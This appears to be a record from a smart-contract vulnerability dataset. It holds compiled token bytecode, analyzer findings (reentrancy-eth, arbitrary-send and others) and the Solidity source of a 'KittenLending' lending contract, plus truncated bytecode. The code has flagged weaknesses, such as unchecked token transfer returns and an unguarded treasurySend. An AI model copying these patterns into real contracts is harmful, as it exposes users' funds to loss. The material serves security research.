1f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220367a98d985bbae1d799cb8c8b38c6f9a2f191d0de4aaf79104f7fa8982c792f364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,752 |
0xcac6f6711206215d9761f7b82936f2083964dff5
|
// SPDX-License-Identifier: UNLICENSED
// _ _ _ _ __ _
// | | (_) | | | / _(_)
// | | ___| |_| |_ ___ _ __ | |_ _ _ __ __ _ _ __ ___ ___
// | |/ / | __| __/ _ \ '_ \ | _| | '_ \ / _` | '_ \ / __/ _ \
// | <| | |_| || __/ | | |_| | | | | | | (_| | | | | (_| __/
// |_|\_\_|\__|\__\___|_| |_(_)_| |_|_| |_|\__,_|_| |_|\___\___|
//
// Kitten.Finance Lending
//
// https://Kitten.Finance
// https://kittenswap.org
//
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require (c >= a, "!!add");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require (b <= a, "!!sub");
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require (b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require (c / a == b, "!!mul");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require (b > 0, "!!div");
uint256 c = a / b;
return c;
}
}
////////////////////////////////////////////////////////////////////////////////
interface ERC20
{
function balanceOf ( address account ) external view returns ( uint256 );
function transfer ( address recipient, uint256 amount ) external returns ( bool );
function transferFrom ( address sender, address recipient, uint256 amount ) external returns ( bool );
}
////////////////////////////////////////////////////////////////////////////////
contract KittenLending
{
using SafeMath for uint;
////////////////////////////////////////////////////////////////////////////////
address public govAddr;
address public treasuryAddr;
uint public treasuryAmtTotal = 0;
constructor () public {
govAddr = msg.sender;
treasuryAddr = msg.sender;
}
modifier govOnly() {
require (msg.sender == govAddr, "!gov");
_;
}
function govTransferAddr(address newAddr) external govOnly {
require (newAddr != address(0), "!addr");
govAddr = newAddr;
}
function govSetTreasury(address newAddr) external govOnly
{
require(newAddr != address(0), "!addr");
treasuryAddr = newAddr;
}
uint8 public DEFAULT_devFeeBP = 0;
function govSet_DEFAULT_devFeeBP(uint8 $DEFAULT_devFeeBP) external govOnly {
DEFAULT_devFeeBP = $DEFAULT_devFeeBP;
}
function govSet_devFeeBP(uint vaultId, uint8 $devFeeBP) external govOnly {
VAULT[vaultId].devFeeBP = $devFeeBP;
}
mapping (address => uint) public tokenStatus; // 0 = normal, if >= TOKEN_STATUS_BANNED then banned
uint constant TOKEN_STATUS_BANNED = 1e60;
uint8 constant VAULT_STATUS_BANNED = 200;
function govSet_tokenStatus(address token, uint $tokenStatus) external govOnly {
tokenStatus[token] = $tokenStatus;
}
function govSet_vaultStatus(uint vaultId, uint8 $vaultStatus) external govOnly {
VAULT[vaultId].vaultStatus = $vaultStatus;
}
////////////////////////////////////////////////////////////////////////////////
struct VAULT_INFO
{
address token; // underlying token
uint32 tEnd; // timestamp
uint128 priceEndScaled; // scaled by PRICE_SCALE
uint24 apyBP; // APY%% in Basis Points
uint8 devFeeBP; // devFee%% in Basis Points
uint8 vaultStatus; // 0 = new, if >= VAULT_STATUS_BANNED then banned
mapping (address => uint) share; // deposit ETH for vaultShare
uint shareTotal;
mapping (address => uint) tllll; // token locked
uint tllllTotal;
uint ethTotal;
}
uint constant PRICE_SCALE = 10 ** 18;
VAULT_INFO[] public VAULT;
event CREATE_VAULT(address indexed token, uint indexed vaultId, address indexed user, uint32 tEnd, uint128 priceEndScaled, uint24 apyBP);
function createVault(address token, uint32 tEnd, uint128 priceEndScaled, uint24 apyBP) external
{
VAULT_INFO memory m;
require (token != address(0), "!token");
require (tokenStatus[token] < TOKEN_STATUS_BANNED, '!tokenBanned');
require (tEnd > block.timestamp, "!tEnd");
require (priceEndScaled > 0, "!priceEndScaled");
require (apyBP > 0, "!apyBP");
m.token = token;
m.tEnd = tEnd;
m.priceEndScaled = priceEndScaled;
m.apyBP = apyBP;
m.devFeeBP = DEFAULT_devFeeBP;
if (msg.sender == govAddr) {
m.vaultStatus = 100;
}
VAULT.push(m);
emit CREATE_VAULT(token, VAULT.length - 1, msg.sender, tEnd, priceEndScaled, apyBP);
}
////////////////////////////////////////////////////////////////////////////////
function vaultCount() external view returns (uint)
{
return VAULT.length;
}
function getVaultStatForUser(uint vaultId, address user) external view returns (uint share, uint tllll)
{
share = VAULT[vaultId].share[user];
tllll = VAULT[vaultId].tllll[user];
}
////////////////////////////////////////////////////////////////////////////////
function getVaultValueInEth(uint vaultId) public view returns (uint)
{
VAULT_INFO memory m = VAULT[vaultId];
uint priceNowScaled;
if (block.timestamp >= m.tEnd)
priceNowScaled = m.priceEndScaled;
else {
uint FACTOR = 10**18;
priceNowScaled = uint(m.priceEndScaled) * FACTOR / (FACTOR + FACTOR * uint(m.apyBP) * (m.tEnd - block.timestamp) / (365 days) / 10000);
}
uint ethValue = m.ethTotal;
uint tokenValue = (m.tllllTotal).mul(priceNowScaled) / (PRICE_SCALE);
return ethValue.add(tokenValue);
}
function getVaultPriceScaled(uint vaultId) public view returns (uint)
{
VAULT_INFO memory m = VAULT[vaultId];
uint priceNowScaled;
if (block.timestamp >= m.tEnd)
priceNowScaled = m.priceEndScaled;
else {
uint FACTOR = 10**18;
priceNowScaled = uint(m.priceEndScaled) * FACTOR / (FACTOR + FACTOR * uint(m.apyBP) * (m.tEnd - block.timestamp) / (365 days) / 10000);
}
return priceNowScaled;
}
////////////////////////////////////////////////////////////////////////////////
event LOCK_ETH(uint indexed vaultId, address indexed user, uint ethAmt, uint shareAmt);
event UNLOCK_ETH(uint indexed vaultId, address indexed user, uint ethAmt, uint shareAmt);
function _mintShare(VAULT_INFO storage m, address user, uint mintAmt) internal {
m.share[user] = (m.share[user]).add(mintAmt);
m.shareTotal = (m.shareTotal).add(mintAmt);
}
function _burnShare(VAULT_INFO storage m, address user, uint burnAmt) internal {
m.share[user] = (m.share[user]).sub(burnAmt, '!notEnoughShare');
m.shareTotal = (m.shareTotal).sub(burnAmt, '!notEnoughShare');
}
function _mintTllll(VAULT_INFO storage m, address user, uint mintAmt) internal {
m.tllll[user] = (m.tllll[user]).add(mintAmt);
m.tllllTotal = (m.tllllTotal).add(mintAmt);
}
function _burnTllll(VAULT_INFO storage m, address user, uint burnAmt) internal {
m.tllll[user] = (m.tllll[user]).sub(burnAmt, '!notEnoughTokenLocked');
m.tllllTotal = (m.tllllTotal).sub(burnAmt, '!notEnoughTokenLocked');
}
function _sendEth(VAULT_INFO storage m, address payable user, uint outAmt) internal {
m.ethTotal = (m.ethTotal).sub(outAmt, '!notEnoughEthInVault');
user.transfer(outAmt);
}
function lockEth(uint vaultId) external payable // lock ETH for lending, and mint vaultShare
{
VAULT_INFO storage m = VAULT[vaultId];
require (block.timestamp < m.tEnd, '!vaultEnded');
//-------- receive ETH from user --------
address user = msg.sender;
uint ethInAmt = msg.value;
require (ethInAmt > 0, '!ethInAmt');
//-------- compute vaultShare mint amt --------
uint shareMintAmt = 0;
if (m.shareTotal == 0) {
shareMintAmt = ethInAmt; // initial price: 1 share = 1 ETH
}
else {
shareMintAmt = ethInAmt.mul(m.shareTotal).div(getVaultValueInEth(vaultId));
}
m.ethTotal = (m.ethTotal).add(ethInAmt); // add ETH after computing shareMintAmt
//-------- mint vaultShare to user --------
_mintShare(m, user, shareMintAmt);
emit LOCK_ETH(vaultId, user, ethInAmt, shareMintAmt);
}
function unlockEth(uint vaultId, uint shareBurnAmt) external // unlock ETH, and burn vaultShare
{
VAULT_INFO storage m = VAULT[vaultId];
require (block.timestamp < m.tEnd, '!vaultEnded');
require (shareBurnAmt > 0, '!shareBurnAmt');
address payable user = msg.sender;
//-------- compute ETH out amt --------
uint ethOutAmt = shareBurnAmt.mul(getVaultValueInEth(vaultId)).div(m.shareTotal);
//-------- burn vaultShare from user --------
_burnShare(m, user, shareBurnAmt);
//-------- send ETH to user --------
_sendEth(m, user, ethOutAmt);
emit UNLOCK_ETH(vaultId, user, ethOutAmt, shareBurnAmt);
}
////////////////////////////////////////////////////////////////////////////////
event LOCK_TOKEN(uint indexed vaultId, address indexed user, uint tokenAmt, uint ethAmt);
event UNLOCK_TOKEN(uint indexed vaultId, address indexed user, uint tokenAmt, uint ethAmt);
function lockToken(uint vaultId, uint tokenInAmt) external // lock TOKEN to borrow ETH
{
VAULT_INFO storage m = VAULT[vaultId];
require (block.timestamp < m.tEnd, '!vaultEnded');
require (m.vaultStatus < VAULT_STATUS_BANNED, '!vaultBanned');
require (tokenStatus[m.token] < TOKEN_STATUS_BANNED, '!tokenBanned');
require (tokenInAmt > 0, '!tokenInAmt');
address payable user = msg.sender;
//-------- compute ETH out amt --------
uint ethOutAmt = tokenInAmt.mul(getVaultPriceScaled(vaultId)) / (PRICE_SCALE);
if (m.devFeeBP > 0)
{
uint treasuryAmt = ethOutAmt.mul(uint(m.devFeeBP)) / (10000);
treasuryAmtTotal = treasuryAmtTotal.add(treasuryAmt);
ethOutAmt = ethOutAmt.sub(treasuryAmt);
m.ethTotal = (m.ethTotal).sub(treasuryAmt, '!ethInVault'); // remove treasuryAmt
}
//-------- send TOKEN to contract --------
ERC20(m.token).transferFrom(user, address(this), tokenInAmt);
_mintTllll(m, user, tokenInAmt);
//-------- send ETH to user --------
_sendEth(m, user, ethOutAmt);
emit LOCK_TOKEN(vaultId, user, tokenInAmt, ethOutAmt);
}
function unlockToken(uint vaultId) external payable // payback ETH to unlock TOKEN
{
VAULT_INFO storage m = VAULT[vaultId];
require (block.timestamp < m.tEnd, '!vaultEnded');
//-------- receive ETH from user --------
uint ethInAmt = msg.value;
require (ethInAmt > 0, '!ethInAmt');
uint ethReturnAmt = 0;
address payable user = msg.sender;
//-------- compute LIQUID out amt --------
uint priceScaled = getVaultPriceScaled(vaultId);
uint tokenOutAmt = ethInAmt.mul(PRICE_SCALE).div(priceScaled);
if (tokenOutAmt > m.tllll[user])
{
tokenOutAmt = m.tllll[user];
ethReturnAmt = ethInAmt.sub(
tokenOutAmt.mul(priceScaled) / (PRICE_SCALE)
);
}
//-------- send TOKEN to user --------
_burnTllll(m, user, tokenOutAmt);
ERC20(m.token).transfer(user, tokenOutAmt);
//-------- return extra ETH to user --------
m.ethTotal = (m.ethTotal).add(ethInAmt); // add input ETH first
if (ethReturnAmt > 0)
_sendEth(m, user, ethReturnAmt);
emit UNLOCK_TOKEN(vaultId, user, tokenOutAmt, ethInAmt.sub(ethReturnAmt));
}
////////////////////////////////////////////////////////////////////////////////
event EXIT_SHARE(uint indexed vaultId, address indexed user, uint shareAmt);
function exitShare(uint vaultId, address payable user) external // exit vaultShare after vault is closed
{
VAULT_INFO storage m = VAULT[vaultId];
require (block.timestamp > m.tEnd, '!vaultStillOpen');
//-------- compute ETH & TOKEN out amt --------
uint userShareAmt = m.share[user];
require (userShareAmt > 0, '!userShareAmt');
uint ethOutAmt = (m.ethTotal).mul(userShareAmt).div(m.shareTotal);
uint tokenOutAmt = (m.tllllTotal).mul(userShareAmt).div(m.shareTotal);
//-------- burn vaultShare from user --------
_burnShare(m, user, userShareAmt);
//-------- send ETH & TOKEN to user --------
if (tokenOutAmt > 0) {
m.tllllTotal = (m.tllllTotal).sub(tokenOutAmt); // remove tllll
ERC20(m.token).transfer(user, tokenOutAmt);
}
if (ethOutAmt > 0)
_sendEth(m, user, ethOutAmt);
emit EXIT_SHARE(vaultId, user, userShareAmt);
}
////////////////////////////////////////////////////////////////////////////////
function treasurySend(uint amt) external
{
treasuryAmtTotal = treasuryAmtTotal.sub(amt);
address payable _treasuryAddr = address(uint160(treasuryAddr));
_treasuryAddr.transfer(amt);
}
}
|
0x60806040526004361061013f5760003560e01c806383670971116100b6578063c83ce00a1161006f578063c83ce00a1461048a578063cb85ce67146104b4578063d4e04f94146104c9578063dd2e0ac014610522578063fa3e1d8b1461053f578063ff71b4e5146105cf5761013f565b80638367097114610384578063a7c6a100146103af578063a917609d146103c4578063baa34110146103ee578063c0ae51e01461041e578063c8037c1c146104575761013f565b806341039de71161010857806341039de71461027157806342edd8e01461029e5780634e54ed2f146102d1578063663ddd9b146103045780637cfd312d14610334578063823758ed146103675761013f565b80629c3080146101445780630acac942146101805780631824a599146101b3578063187c7fc41461020557806330d9a62a14610240575b600080fd5b34801561015057600080fd5b5061016e6004803603602081101561016757600080fd5b50356105e4565b60408051918252519081900360200190f35b34801561018c57600080fd5b5061016e600480360360208110156101a357600080fd5b50356001600160a01b0316610754565b3480156101bf57600080fd5b506101ec600480360360408110156101d657600080fd5b50803590602001356001600160a01b0316610766565b6040805192835260208301919091528051918290030190f35b34801561021157600080fd5b5061023e6004803603604081101561022857600080fd5b506001600160a01b0381351690602001356107f8565b005b34801561024c57600080fd5b5061025561085c565b604080516001600160a01b039092168252519081900360200190f35b34801561027d57600080fd5b5061023e6004803603602081101561029457600080fd5b503560ff1661086b565b3480156102aa57600080fd5b5061023e600480360360208110156102c157600080fd5b50356001600160a01b03166108c9565b3480156102dd57600080fd5b5061023e600480360360408110156102f457600080fd5b508035906020013560ff16610976565b34801561031057600080fd5b5061023e6004803603604081101561032757600080fd5b50803590602001356109f9565b34801561034057600080fd5b5061023e6004803603602081101561035757600080fd5b50356001600160a01b0316610b41565b61023e6004803603602081101561037d57600080fd5b5035610bee565b34801561039057600080fd5b50610399610d45565b6040805160ff9092168252519081900360200190f35b3480156103bb57600080fd5b5061016e610d4e565b3480156103d057600080fd5b5061016e600480360360208110156103e757600080fd5b5035610d54565b3480156103fa57600080fd5b5061023e6004803603604081101561041157600080fd5b5080359060200135610e8b565b34801561042a57600080fd5b5061023e6004803603604081101561044157600080fd5b50803590602001356001600160a01b03166111c4565b34801561046357600080fd5b5061023e6004803603604081101561047a57600080fd5b508035906020013560ff166113dd565b34801561049657600080fd5b5061023e600480360360208110156104ad57600080fd5b5035611460565b3480156104c057600080fd5b506102556114b1565b3480156104d557600080fd5b5061023e600480360360808110156104ec57600080fd5b5080356001600160a01b031690602081013563ffffffff169060408101356001600160801b0316906060013562ffffff166114c0565b61023e6004803603602081101561053857600080fd5b503561188b565b34801561054b57600080fd5b506105696004803603602081101561056257600080fd5b5035611ad6565b604080516001600160a01b03909a168a5263ffffffff90981660208a01526001600160801b039096168888015262ffffff909416606088015260ff9283166080880152911660a086015260c085015260e084015261010083015251908190036101200190f35b3480156105db57600080fd5b5061016e611b56565b60006105ee611fba565b600583815481106105fb57fe5b600091825260208083206040805161012081018252600790940290910180546001600160a01b038116855263ffffffff600160a01b918290041693850184905260018201546001600160801b038116938601939093